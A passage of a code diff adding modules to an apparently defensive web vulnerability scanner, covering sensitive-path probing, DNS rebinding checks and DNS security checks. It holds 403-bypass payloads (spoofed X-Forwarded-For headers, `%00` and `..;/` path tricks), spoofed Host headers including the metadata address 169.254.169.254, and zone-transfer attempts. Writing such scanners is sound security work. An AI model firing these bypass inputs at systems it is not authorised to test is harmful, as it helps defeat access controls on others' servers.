+ ("/metrics", "Metrics Endpoint Exposed", "Low", 3.1,
556
+ "Application metrics endpoint is publicly accessible.",
557
+ "Restrict metrics to internal monitoring."),
558
+
559
+ ("/prometheus", "Prometheus Metrics Exposed", "Low", 3.1,
560
+ "Prometheus metrics endpoint is publicly accessible.",
561
+ "Restrict Prometheus metrics to internal networks."),
562
+
563
+ ("/sitemap", "Sitemap Endpoint Exposed", "Low", 3.1,
564
+ "Sitemap endpoint is accessible.",
565
+ "Review sitemap for sensitive URLs."),
566
+
567
+ ("/sitemap_index.xml", "Sitemap Index Exposed", "Low", 3.1,
568
+ "Sitemap index file is accessible.",
569
+ "Review sitemap for sensitive information."),
570
+
571
+ ("/cgi-bin/", "CGI Bin Exposed", "High", 7.5,
572
+ "CGI bin directory is accessible, potentially allowing remote code execution.",
573
+ "Disable CGI if not needed. Restrict access to /cgi-bin/."),
574
+
575
+ ("/cgi-bin/test.cgi", "CGI Test Script Exposed", "High", 7.5,
576
+ "CGI test script is publicly accessible.",
577
+ "Remove test CGI scripts from production."),
578
+
579
+ ("/.npmrc", "NPM RC Exposed", "Medium", 5.3,
580
+ "NPM configuration file is accessible, potentially containing registry auth tokens.",
581
+ "Remove .npmrc from web root."),
582
+
583
+ ("/.yarnrc", "Yarn RC Exposed", "Medium", 5.3,
584
+ "Yarn configuration file is accessible.",
585
+ "Remove .yarnrc from web root."),
586
+
587
+ ("/web.config", "IIS Web Config Exposed", "Medium", 5.3,
588
+ "IIS web.config configuration file is accessible.",
589
+ "Restrict access to web.config."),
590
+
591
+ ("/web.xml", "Java Web XML Exposed", "Medium", 5.3,
592
+ "Java web.xml configuration file is accessible.",
593
+ "Restrict access to web.xml."),
594
+
595
+ ("/struts/", "Apache Struts Exposed", "High", 7.5,
596
+ "Apache Struts framework endpoint is accessible.",
597
+ "Upgrade Struts to latest version."),
598
+
599
+ ("/axis2/", "Axis2 Web Service Exposed", "Medium", 5.3,
600
+ "Apache Axis2 web service is accessible.",
601
+ "Restrict access to Axis2."),
602
+
603
+ ("/ws/", "Web Service Exposed", "Medium", 5.3,
604
+ "Web service endpoint is accessible.",
605
+ "Restrict access to web services."),
606
+
607
+ ("/soap/", "SOAP API Exposed", "Medium", 5.3,
608
+ "SOAP API endpoint is publicly accessible.",
609
+ "Implement authentication on SOAP endpoints."),
610
+
611
+ ("/index.php", "PHP Index Exposed", "Low", 3.1,
612
+ "PHP index file is accessible.",
613
+ "Ensure proper configuration."),
614
+
615
+ ("/index.html", "HTML Index Exposed", "Low", 3.1,
616
+ "HTML index file is accessible.",
617
+ "Ensure proper configuration."),
618
+
619
+ ("/index.jsp", "JSP Index Exposed", "Low", 3.1,
620
+ "JSP index file is accessible.",
621
+ "Ensure proper configuration."),
622
+
623
+ ("/default.aspx", "ASP.NET Default Exposed", "Low", 3.1,
624
+ "ASP.NET default page is accessible.",
625
+ "Ensure proper configuration."),
626
+
627
+ ("/default.asp", "ASP Default Exposed", "Low", 3.1,
628
+ "ASP default page is accessible.",
629
+ "Ensure proper configuration."),
630
+ ]
631
+
632
+
633
+ class DirectoryScanner(BaseScanner):
634
+ SCANNER_NAME = "Sensitive Directory & File Scanner"
635
+ _SCANNER_KEY = "directory"
636
+
637
+ def _bypass_403(self, url, path):
638
+ bypass_headers = [
639
+ {"X-Forwarded-For": "127.0.0.1"},
640
+ {"X-Originating-IP": "127.0.0.1"},
641
+ {"X-Remote-IP": "127.0.0.1"},
642
+ {"X-Custom-IP-Authorization": "127.0.0.1"},
643
+ {"Client-IP": "127.0.0.1"},
644
+ {"X-Forwarded-Host": "127.0.0.1"}
645
+ ]
646
+
647
+ bypass_paths = [
648
+ path.replace("/", "//", 1),
649
+ path.replace("/", "/%2e/", 1),
650
+ f"{path}/.",
651
+ f"{path}%20",
652
+ f"{path}%00",
653
+ f"{path}..;/"
654
+ ]
655
+
656
+ base = self.target.rstrip("/")
657
+
658
+ for headers in bypass_headers:
659
+ headers["User-Agent"] = "LarShield/2.0 Bypass"
660
+ body, status, _ = self._make_request(
661
+ url, headers=headers, timeout=5, return_response_obj=True,
662
+ )
663
+ if status == 200:
664
+ return True, f"Header Bypass ({list(headers.keys())[0]})"
665
+
666
+ for b_path in bypass_paths:
667
+ b_url = f"{base}{b_path}"
668
+ body, status, _ = self._make_request(
669
+ b_url, timeout=5, return_response_obj=True,
670
+ )
671
+ if status == 200:
672
+ return True, f"Path Permutation ({b_path})"
673
+
674
+ return False, None
675
+
676
+ def _classify_status(self, status):
677
+ if status == 200:
678
+ return "exposed"
679
+ elif status in (301, 302, 307, 308):
680
+ return "redirect"
681
+ elif status == 401:
682
+ return "auth_required"
683
+ elif status == 403:
684
+ return "forbidden"
685
+ elif status in (404, 410):
686
+ return "not_found"
687
+ elif status == 429:
688
+ return "rate_limited"
689
+ elif status in (500, 502, 503):
690
+ return "server_error"
691
+ return "unknown"
692
+
693
+ def run(self):
694
+ self.log("INFO", f"[DirScan] Scanning {len(SENSITIVE_PATHS)} sensitive paths on {self.domain}...")
695
+ exposed_count = 0
696
+ base = self.target.rstrip("/")
697
+
698
+ requests_list = []
699
+ for path, title, severity, cvss, description, remediation in SENSITIVE_PATHS:
700
+ url = f"{base}{path}"
701
+ req = {
702
+ "url": url,
703
+ "headers": {"User-Agent": "LarShield/2.0"},
704
+ "timeout": 6,
705
+ "_meta": (path, title, severity, cvss, description, remediation),
706
+ }
707
+ requests_list.append(req)
708
+
709
+ results = self._make_async_requests(requests_list, max_workers=20)
710
+
711
+ for req, body, status in results:
712
+ meta = req.get("_meta")
713
+ if not meta:
714
+ continue
715
+ path, title, severity, cvss, description, remediation = meta
716
+ url = req["url"]
717
+
718
+ classification = self._classify_status(status)
719
+
720
+ if classification == "exposed":
721
+ content_len = len(body) if body else 0
722
+ if content_len > 5:
723
+ # PHASE 1: Suppress if response is the site's SPA/404 catch-all
724
+ if self._is_baseline(status, body):
725
+ self.log("INFO", f"[DirScan] SUPPRESSED (baseline match, {content_len}B): {url}")
726
+ else:
727
+ lvl = "CRITICAL" if cvss >= 9.0 else "WARNING"
728
+ self.log(lvl, f"[DirScan] EXPOSED (HTTP {status}, {content_len}B): {url}")
729
+ self.add_vuln(
730
+ title=title, severity=severity, category="Exposed Files",
731
+ cvss_score=cvss,
732
+ description=f"{description}\n\nExposed at: {url}",
733
+ remediation=remediation,
734
+ evidence=f"HTTP {status}, {content_len} bytes",
735
+ response_details=f"HTTP {status} - {classification}",
736
+ confidence="Confirmed",
737
+ )
738
+ exposed_count += 1
739
+ elif classification == "redirect":
740
+ self.log("INFO", f"[DirScan] Redirect (HTTP {status}): {url}")
741
+ elif classification == "auth_required":
742
+ self.log("INFO", f"[DirScan] Auth required (HTTP {status}): {url}")
743
+ elif classification == "forbidden":
744
+ bypassed, method = self._bypass_403(url, path)
745
+ if bypassed:
746
+ self.log("CRITICAL", f"[DirScan] 403 BYPASSED ({method}): {url}")
747
+ self.add_vuln(
748
+ title=title, severity=severity, category="Exposed Files",
749
+ cvss_score=cvss,
750
+ description=f"{description}\n\nExposed at: {url}\nBypass method: {method}",
751
+ remediation=remediation,
752
+ evidence=f"403 bypassed via {method}",
753
+ response_details=f"HTTP 403 bypassed to 200",
754
+ confidence="Confirmed",
755
+ )
756
+ exposed_count += 1
757
+ else:
758
+ self.log("INFO", f"[DirScan] Protected (HTTP {status}): {url} \u2714")
759
+ elif classification == "rate_limited":
760
+ self.log("WARNING", f"[DirScan] Rate limited (HTTP {status}): {url}")
761
+ elif classification == "not_found":
762
+ self.log("SUCCESS", f"[DirScan] Not found: {path} \u2714")
763
+ else:
764
+ self.log("INFO", f"[DirScan] Status {status}: {url}")
765
+
766
+ self.log("SUCCESS" if exposed_count == 0 else "WARNING",
767
+ f"[DirScan] Scan complete. {exposed_count} exposed path(s) found.")
768
+ return self.vulns
backend/scanners/dns_rebinding_scanner.py ADDED
@@ -0,0 +1,267 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ dns_rebinding_scanner.py — DNS Rebinding Scanner
3
+ =================================================
4
+ Expert-grade rewrite (GAP-011 fix):
5
+ 1. Real TTL check via low-level DNS query (struct-based) + socket fallback
6
+ 2. Multiple resolution comparison with jitter guard (avoids CDN false positives)
7
+ 3. Host header validation check (actual defense verification)
8
+ 4. Private IP detection on resolved addresses
9
+ 5. CORS + DNS rebinding chain check
10
+ """
11
+ import socket, time, struct
12
+ import urllib.parse
13
+ from scanners.base_scanner import BaseScanner
14
+
15
+ # TTL threshold — anything below this is a rebinding risk
16
+ LOW_TTL_THRESHOLD = 30 # seconds
17
+
18
+ # Private IP ranges to check resolved IPs against
19
+ import ipaddress
20
+ PRIVATE_NETWORKS = [
21
+ ipaddress.ip_network("10.0.0.0/8"),
22
+ ipaddress.ip_network("172.16.0.0/12"),
23
+ ipaddress.ip_network("192.168.0.0/16"),
24
+ ipaddress.ip_network("127.0.0.0/8"),
25
+ ipaddress.ip_network("169.254.0.0/16"),
26
+ ]
27
+
28
+
29
+ def _is_private(ip_str: str) -> bool:
30
+ try:
31
+ ip = ipaddress.ip_address(ip_str)
32
+ return any(ip in net for net in PRIVATE_NETWORKS)
33
+ except ValueError:
34
+ return False
35
+
36
+
37
+ def _query_dns_ttl(hostname: str, timeout: float = 3.0) -> int | None:
38
+ """
39
+ Perform a raw DNS UDP query to get the actual TTL from the A record.
40
+ Returns TTL in seconds, or None if the query fails.
41
+ This avoids relying on the OS DNS cache (which resets TTL).
42
+ """
43
+ try:
44
+ # Build minimal DNS query for A record
45
+ qname = b""
46
+ for label in hostname.encode().split(b"."):
47
+ qname += bytes([len(label)]) + label
48
+ qname += b"\x00" # root label
49
+
50
+ # Random transaction ID
51
+ txid = b"\xab\xcd"
52
+ header = txid + b"\x01\x00" # QR=0, OPCODE=0, RD=1
53
+ header += b"\x00\x01" # QDCOUNT=1
54
+ header += b"\x00\x00\x00\x00\x00\x00" # ANCOUNT NSCOUNT ARCOUNT = 0
55
+ question = qname + b"\x00\x01\x00\x01" # QTYPE=A QCLASS=IN
56
+
57
+ packet = header + question
58
+
59
+ with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
60
+ s.settimeout(timeout)
61
+ s.connect(("8.8.8.8", 53))
62
+ s.send(packet)
63
+ response = s.recv(4096)
64
+
65
+ # Parse answer section — skip header (12 bytes) + question section
66
+ # Answer section starts after the question section
67
+ # Question section = qname + 4 bytes (qtype + qclass)
68
+ q_offset = 12 + len(qname) + 4
69
+ if len(response) < q_offset + 12:
70
+ return None
71
+
72
+ # Parse first answer record
73
+ # NAME (2 bytes compressed ptr), TYPE (2), CLASS (2), TTL (4), RDLENGTH (2)
74
+ ans_offset = q_offset
75
+ # Handle compressed name pointer (0xC0 xx)
76
+ if response[ans_offset] & 0xC0 == 0xC0:
77
+ ans_offset += 2
78
+ else:
79
+ # Walk the name
80
+ while ans_offset < len(response) and response[ans_offset] != 0:
81
+ ans_offset += response[ans_offset] + 1
82
+ ans_offset += 1
83
+
84
+ if ans_offset + 10 > len(response):
85
+ return None
86
+
87
+ rtype, rclass, ttl = struct.unpack("!HHI", response[ans_offset:ans_offset + 8])
88
+ if rtype == 1: # A record
89
+ return ttl
90
+ return None
91
+ except Exception as e:
92
+ print(f"ERROR: [DNSRebind] _query_dns_ttl error: {e}")
93
+ return None
94
+
95
+
96
+ class DnsRebindingScanner(BaseScanner):
97
+ SCANNER_NAME = "DNS Rebinding Scanner"
98
+ _SCANNER_KEY = "dns_rebinding"
99
+
100
+ def __init__(self, scan_id, target, domain, **kwargs):
101
+ super().__init__(scan_id, target, domain, **kwargs)
102
+
103
+ def run(self) -> list:
104
+ self.log("INFO", f"[DNSRebind] Checking DNS rebinding for {self.domain}...")
105
+
106
+ # 1. Check actual DNS TTL via raw query
107
+ self._check_ttl()
108
+
109
+ # 2. Check if resolved IP is in a private range (misconfigured DNS)
110
+ self._check_private_ip_resolution()
111
+
112
+ # 3. Verify Host header validation (actual defense)
113
+ self._check_host_header_validation()
114
+
115
+ # 4. Multi-resolution instability check with jitter guard
116
+ self._check_resolution_instability()
117
+
118
+ if not self.vulns:
119
+ self.log("SUCCESS", "[DNSRebind] No DNS rebinding indicators found.")
120
+ return self.vulns
121
+
122
+ # ── 1. TTL check ──────────────────────────────────────────────────────
123
+ def _check_ttl(self):
124
+ ttl = _query_dns_ttl(self.domain)
125
+ if ttl is None:
126
+ self.log("INFO", f"[DNSRebind] Could not retrieve TTL for {self.domain} (raw DNS query).")
127
+ return
128
+ self.log("INFO", f"[DNSRebind] TTL for {self.domain}: {ttl}s")
129
+ if ttl < LOW_TTL_THRESHOLD:
130
+ self.add_vuln(
131
+ title=f"DNS Rebinding Risk — Extremely Low TTL ({ttl}s)",
132
+ severity="Medium",
133
+ category="DNS Rebinding",
134
+ cvss_score=5.3,
135
+ confidence="High",
136
+ references=["https://attack.mitre.org/techniques/T1557/"],
137
+ description=(
138
+ f"The domain `{self.domain}` has a DNS TTL of **{ttl} seconds**, "
139
+ f"well below the safe minimum of {LOW_TTL_THRESHOLD}s.\n\n"
140
+ "A low TTL allows an attacker to:\n"
141
+ "1. Have the victim visit their domain (resolves to attacker IP)\n"
142
+ "2. Quickly re-point the DNS to `127.0.0.1` or a private IP\n"
143
+ "3. Browser's Same-Origin Policy now allows the page to make requests "
144
+ "to `localhost` (bypassing SSRF filters)\n\n"
145
+ "This enables reading internal APIs, attacking localhost services, "
146
+ "and bypassing IP-based access controls."
147
+ ),
148
+ remediation=(
149
+ f"1. Set DNS TTL to at least 300 seconds (5 minutes) for all A/AAAA records.\n"
150
+ "2. Implement **DNS pinning** in your HTTP client/browser.\n"
151
+ "3. Validate the `Host` header against a strict allowlist on every request.\n"
152
+ "4. Reject requests from private/loopback IPs at the load balancer level."
153
+ ),
154
+ )
155
+
156
+ # ── 2. Private IP resolution ──────────────────────────────────────────
157
+ def _check_private_ip_resolution(self):
158
+ try:
159
+ infos = socket.getaddrinfo(self.domain, 443)
160
+ ips = {info[4][0] for info in infos}
161
+ for ip in ips:
162
+ if _is_private(ip):
163
+ self.add_vuln(
164
+ title=f"DNS Resolves to Private IP — Rebinding Risk ({ip})",
165
+ severity="High",
166
+ category="DNS Rebinding",
167
+ cvss_score=7.5,
168
+ confidence="Confirmed",
169
+ description=(
170
+ f"The domain `{self.domain}` resolves to `{ip}`, "
171
+ "which is a **private/internal IP address**.\n\n"
172
+ "This directly enables DNS rebinding: if the browser trusted this "
173
+ "domain, it can now make cross-origin requests to internal services "
174
+ "as if coming from the same origin."
175
+ ),
176
+ remediation=(
177
+ "1. Never configure public domain names to resolve to private IP addresses.\n"
178
+ "2. Use split-horizon DNS — separate internal and external DNS views.\n"
179
+ "3. Block DNS responses resolving to private ranges (DNS firewall)."
180
+ ),
181
+ )
182
+ except Exception as e:
183
+ self.log("INFO", f"[DNSRebind] DNS resolution error: {e}")
184
+
185
+ # ── 3. Host header validation ─────────────────────────────────────────
186
+ def _check_host_header_validation(self):
187
+ """
188
+ Check if the server validates the Host header.
189
+ Send requests with a spoofed Host header — if the server responds normally,
190
+ it doesn't validate Host (weak rebinding defense).
191
+ """
192
+ parsed = urllib.parse.urlparse(self.target)
193
+ spoofed_hosts = [
194
+ "127.0.0.1",
195
+ "localhost",
196
+ "169.254.169.254",
197
+ f"evil.{self.domain}",
198
+ ]
199
+ for spoofed in spoofed_hosts:
200
+ resp, status = self._make_request(self.target, headers={"Host": spoofed})
201
+ if resp and status == 200:
202
+ self.log("WARNING",
203
+ f"[DNSRebind] Server accepted spoofed Host header: {spoofed} (status 200)")
204
+ self.add_vuln(
205
+ title="Weak Host Header Validation — DNS Rebinding Facilitator",
206
+ severity="Medium",
207
+ category="DNS Rebinding",
208
+ cvss_score=4.3,
209
+ confidence="High",
210
+ description=(
211
+ f"The server returned HTTP 200 when the `Host` header was set to "
212
+ f"`{spoofed}` instead of the legitimate domain.\n\n"
213
+ "Proper Host header validation is the **primary defense** against DNS rebinding. "
214
+ "Without it, a rebinding attack can successfully pivot the browser "
215
+ "to access internal services."
216
+ ),
217
+ remediation=(
218
+ "1. Validate the `Host` header against a strict allowlist of known domains.\n"
219
+ "2. In nginx: define `server_name` explicitly and use `default_server` to reject unknowns.\n"
220
+ "3. In Express: use `vhost` middleware or validate `req.hostname`.\n"
221
+ "4. Reject requests with `Host` set to IP addresses or unrecognized domains."
222
+ ),
223
+ )
224
+ return # One finding is enough
225
+
226
+ # ── 4. Resolution instability (with jitter guard) ─────────────────────
227
+ def _check_resolution_instability(self):
228
+ """
229
+ Resolve domain 5 times with 2s gaps.
230
+ Only flag if ALL resolutions differ — single CDN rotation is normal.
231
+ GAP-011: 1-second sleep caused massive false positives on CDNs.
232
+ """
233
+ results = []
234
+ for _ in range(5):
235
+ try:
236
+ ips = {info[4][0] for info in socket.getaddrinfo(self.domain, 443)}
237
+ results.append(frozenset(ips))
238
+ except Exception as e:
239
+ self.log("ERROR", f"[DNSRebind] resolution check error: {e}")
240
+ time.sleep(2)
241
+
242
+ if len(results) < 3:
243
+ return
244
+
245
+ # If every resolution returned a different set, that's suspicious
246
+ unique_sets = set(results)
247
+ if len(unique_sets) == len(results) and len(results) >= 3:
248
+ self.log("WARNING",
249
+ f"[DNSRebind] Domain resolved to a different IP on every check — "
250
+ f"possible rapid DNS rebinding. Results: {[set(r) for r in results]}")
251
+ self.add_vuln(
252
+ title="DNS Resolution Instability — Possible DNS Rebinding",
253
+ severity="Low",
254
+ category="DNS Rebinding",
255
+ cvss_score=3.1,
256
+ confidence="Medium",
257
+ description=(
258
+ f"The domain `{self.domain}` resolved to a different IP address "
259
+ f"on each of {len(results)} consecutive checks (2s apart), "
260
+ "which is unusual and may indicate rapid DNS record rotation "
261
+ "consistent with DNS rebinding infrastructure."
262
+ ),
263
+ remediation=(
264
+ "Investigate whether the DNS operator is intentionally rotating records. "
265
+ "Set minimum TTL to 300s. Implement DNS pinning."
266
+ ),
267
+ )
backend/scanners/dns_security_scanner.py ADDED
@@ -0,0 +1,279 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ dns_security_scanner.py — DNS security analysis using DNSPython.
3
+ Performs comprehensive DNS security checks including zone transfer, DNSSEC, and record analysis.
4
+ """
5
+ import dns.resolver, dns.query, dns.message, dns.rdatatype
6
+ from scanners.base_scanner import BaseScanner
7
+
8
+ class DNSSecurityScanner(BaseScanner):
9
+ SCANNER_NAME = "DNS Security Analyzer"
10
+
11
+ def run(self):
12
+ self.log("INFO", f"[DNS Security] Starting comprehensive DNS analysis for {self.domain}...")
13
+
14
+ # Perform various DNS security checks
15
+ self._check_zone_transfer()
16
+ self._check_dnssec()
17
+ self._check_mx_records()
18
+ self._check_spf()
19
+ self._check_dmarc()
20
+ self._check_wildcard_dns()
21
+ self._check_dns_cache_poisoning()
22
+ self._check_caa_records()
23
+
24
+ self.log("SUCCESS", "[DNS Security] DNS analysis complete.")
25
+ return self.vulns
26
+
27
+ def _check_zone_transfer(self):
28
+ """Check for DNS zone transfer vulnerability."""
29
+ self.log("INFO", "[DNS Security] Checking for zone transfer vulnerability...")
30
+
31
+ try:
32
+ # Get authoritative nameservers
33
+ ns_answers = dns.resolver.resolve(self.domain, 'NS')
34
+ nameservers = [rdata.target.to_text().rstrip('.') for rdata in ns_answers]
35
+
36
+ for ns in nameservers[:2]: # Check first 2 nameservers only (faster)
37
+ try:
38
+ # Attempt AXFR (zone transfer) — short timeout for speed
39
+ zone_query = dns.query.xfr(ns, self.domain, timeout=5)
40
+ zone_response = next(zone_query)
41
+
42
+ if zone_response:
43
+ self.log("CRITICAL", f"[DNS Security] ZONE TRANSFER VULNERABLE on {ns}!")
44
+ self.add_vuln(
45
+ title="DNS Zone Transfer Vulnerability",
46
+ severity="Critical", category="DNS Security", cvss_score=9.8,
47
+ description=f"DNS zone transfer (AXFR) is allowed from {ns}. This exposes all DNS records including internal hostnames, mail servers, and other sensitive infrastructure details.",
48
+ remediation="Disable zone transfers to unauthorized servers:\n BIND: allow-transfer { trusted_ips; };\n Ensure only authorized secondary nameservers can perform AXFR."
49
+ )
50
+ return # Found vulnerability, no need to check others
51
+ except dns.exception.DNSException:
52
+ # Expected if zone transfer is disabled
53
+ pass
54
+ except OSError as e:
55
+ # Network-level errors (timeout, connection refused) are expected
56
+ err_msg = str(e).strip()
57
+ if err_msg:
58
+ self.log("DEBUG", f"[DNS Security] Zone transfer network error on {ns}: {err_msg}")
59
+ except Exception as e:
60
+ err_msg = str(e).strip()
61
+ if err_msg:
62
+ self.log("DEBUG", f"[DNS Security] Nameserver query error on {ns}: {err_msg}")
63
+
64
+ self.log("SUCCESS", "[DNS Security] Zone transfer properly secured.")
65
+
66
+ except dns.resolver.NoNameservers:
67
+ self.log("WARNING", "[DNS Security] Could not retrieve nameservers.")
68
+ except Exception as e:
69
+ self.log("WARNING", f"[DNS Security] Zone transfer check failed: {e}")
70
+
71
+ def _check_dnssec(self):
72
+ """Check for DNSSEC implementation."""
73
+ self.log("INFO", "[DNS Security] Checking DNSSEC implementation...")
74
+
75
+ try:
76
+ # Check for DNSKEY records
77
+ dnskey_answers = dns.resolver.resolve(self.domain, 'DNSKEY')
78
+ if dnskey_answers:
79
+ self.log("SUCCESS", "[DNS Security] DNSSEC is implemented.")
80
+ return
81
+ except dns.resolver.NoAnswer:
82
+ pass
83
+ except Exception as e:
84
+ self.log("ERROR", f"[DNS Security] DNSKEY query error: {e}")
85
+
86
+ self.log("WARNING", "[DNS Security] DNSSEC not implemented.")
87
+ self.add_vuln(
88
+ title="DNSSEC Not Implemented",
89
+ severity="Medium", category="DNS Security", cvss_score=5.3,
90
+ description=f"The domain {self.domain} does not have DNSSEC implemented. This makes it vulnerable to DNS cache poisoning and spoofing attacks.",
91
+ remediation="Implement DNSSEC:\n 1. Generate DNSSEC keys\n 2. Sign your zone files\n 3. Upload DS records to your registrar\n 4. Verify with: dig +dnssec {self.domain}"
92
+ )
93
+
94
+ def _check_mx_records(self):
95
+ """Check MX records for security issues."""
96
+ self.log("INFO", "[DNS Security] Analyzing MX records...")
97
+
98
+ try:
99
+ mx_answers = dns.resolver.resolve(self.domain, 'MX')
100
+ mx_servers = [rdata.exchange.to_text().rstrip('.') for rdata in mx_answers]
101
+
102
+ if mx_servers:
103
+ self.log("SUCCESS", f"[DNS Security] MX Records: {', '.join(mx_servers[:3])}")
104
+
105
+ # Check for common mail server security issues
106
+ for mx in mx_servers:
107
+ # Check if MX points to IP directly (bad practice)
108
+ if mx.replace('.', '').isdigit():
109
+ self.log("WARNING", f"[DNS Security] MX record points to IP: {mx}")
110
+ self.add_vuln(
111
+ title="MX Record Points to IP Address",
112
+ severity="Low", category="DNS Security", cvss_score=3.1,
113
+ description=f"MX record for {self.domain} points to IP address {mx} instead of a hostname. This is not a best practice.",
114
+ remediation="Update MX records to point to hostnames instead of IP addresses."
115
+ )
116
+ else:
117
+ self.log("INFO", "[DNS Security] No MX records found.")
118
+
119
+ except dns.resolver.NoAnswer:
120
+ self.log("INFO", "[DNS Security] No MX records found.")
121
+ except Exception as e:
122
+ self.log("WARNING", f"[DNS Security] MX check failed: {e}")
123
+
124
+ def _check_spf(self):
125
+ """Check for SPF record."""
126
+ self.log("INFO", "[DNS Security] Checking SPF record...")
127
+
128
+ try:
129
+ txt_answers = dns.resolver.resolve(self.domain, 'TXT')
130
+ spf_found = False
131
+
132
+ for rdata in txt_answers:
133
+ txt = rdata.to_text()
134
+ if 'v=spf1' in txt:
135
+ spf_found = True
136
+ self.log("SUCCESS", f"[DNS Security] SPF Record: {txt[:100]}")
137
+
138
+ # Check for ~all vs -all
139
+ if '~all' in txt:
140
+ self.log("WARNING", "[DNS Security] SPF uses ~all (soft fail)")
141
+ self.add_vuln(
142
+ title="SPF Uses Soft Fail (~all)",
143
+ severity="Low", category="DNS Security", cvss_score=3.1,
144
+ description=f"SPF record for {self.domain} uses ~all (soft fail) instead of -all (hard fail). This may allow some spoofed emails to pass.",
145
+ remediation="Consider changing ~all to -all in your SPF record for stricter email validation."
146
+ )
147
+ break
148
+
149
+ if not spf_found:
150
+ self.log("WARNING", "[DNS Security] No SPF record found.")
151
+ self.add_vuln(
152
+ title="SPF Record Missing",
153
+ severity="Medium", category="DNS Security", cvss_score=5.3,
154
+ description=f"No SPF (Sender Policy Framework) record found for {self.domain}. This allows email spoofing and increases spam risk.",
155
+ remediation="Add an SPF record to your DNS:\n Example: v=spf1 ip4:192.0.2.0/24 -all\n Use SPF record generator tools for proper configuration."
156
+ )
157
+
158
+ except dns.resolver.NoAnswer:
159
+ self.log("WARNING", "[DNS Security] No TXT records found (SPF missing).")
160
+ self.add_vuln(
161
+ title="SPF Record Missing",
162
+ severity="Medium", category="DNS Security", cvss_score=5.3,
163
+ description=f"No SPF record found for {self.domain}.",
164
+ remediation="Add an SPF record to your DNS configuration."
165
+ )
166
+ except Exception as e:
167
+ self.log("WARNING", f"[DNS Security] SPF check failed: {e}")
168
+
169
+ def _check_dmarc(self):
170
+ """Check for DMARC record."""
171
+ self.log("INFO", "[DNS Security] Checking DMARC record...")
172
+
173
+ dmarc_domain = f"_dmarc.{self.domain}"
174
+
175
+ try:
176
+ txt_answers = dns.resolver.resolve(dmarc_domain, 'TXT')
177
+ dmarc_found = False
178
+
179
+ for rdata in txt_answers:
180
+ txt = rdata.to_text()
181
+ if 'v=DMARC1' in txt:
182
+ dmarc_found = True
183
+ self.log("SUCCESS", f"[DNS Security] DMARC Record: {txt[:100]}")
184
+
185
+ # Check for p=none (monitoring only)
186
+ if 'p=none' in txt:
187
+ self.log("WARNING", "[DNS Security] DMARC policy is p=none (monitoring only)")
188
+ self.add_vuln(
189
+ title="DMARC Policy Set to None",
190
+ severity="Low", category="DNS Security", cvss_score=3.1,
191
+ description=f"DMARC record for {self.domain} has policy p=none, which means no action is taken on failed SPF/DKIM. This is only suitable for monitoring.",
192
+ remediation="Update DMARC policy to p=quarantine or p=reject for better email security:\n v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com"
193
+ )
194
+ break
195
+
196
+ if not dmarc_found:
197
+ self.log("WARNING", "[DNS Security] No DMARC record found.")
198
+ self.add_vuln(
199
+ title="DMARC Record Missing",
200
+ severity="Medium", category="DNS Security", cvss_score=5.3,
201
+ description=f"No DMARC (Domain-based Message Authentication, Reporting & Conformance) record found for {self.domain}. DMARC helps prevent email spoofing.",
202
+ remediation="Add a DMARC record to your DNS:\n Example: v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com\n Start with p=none for monitoring, then move to p=quarantine or p=reject."
203
+ )
204
+
205
+ except dns.resolver.NoAnswer:
206
+ self.log("WARNING", "[DNS Security] No DMARC record found.")
207
+ self.add_vuln(
208
+ title="DMARC Record Missing",
209
+ severity="Medium", category="DNS Security", cvss_score=5.3,
210
+ description=f"No DMARC record found for {self.domain}.",
211
+ remediation="Add a DMARC record to your DNS configuration."
212
+ )
213
+ except dns.resolver.NXDOMAIN:
214
+ self.log("WARNING", "[DNS Security] DMARC subdomain does not exist.")
215
+ except Exception as e:
216
+ self.log("WARNING", f"[DNS Security] DMARC check failed: {e}")
217
+
218
+ def _check_wildcard_dns(self):
219
+ """Check for wildcard DNS records."""
220
+ self.log("INFO", "[DNS Security] Checking for wildcard DNS...")
221
+
222
+ random_subdomain = f"random-nonexistent-{hash(self.domain) % 10000}.{self.domain}"
223
+
224
+ try:
225
+ dns.resolver.resolve(random_subdomain, 'A')
226
+ self.log("WARNING", "[DNS Security] Wildcard DNS record detected.")
227
+ self.add_vuln(
228
+ title="Wildcard DNS Record Detected",
229
+ severity="Low", category="DNS Security", cvss_score=3.1,
230
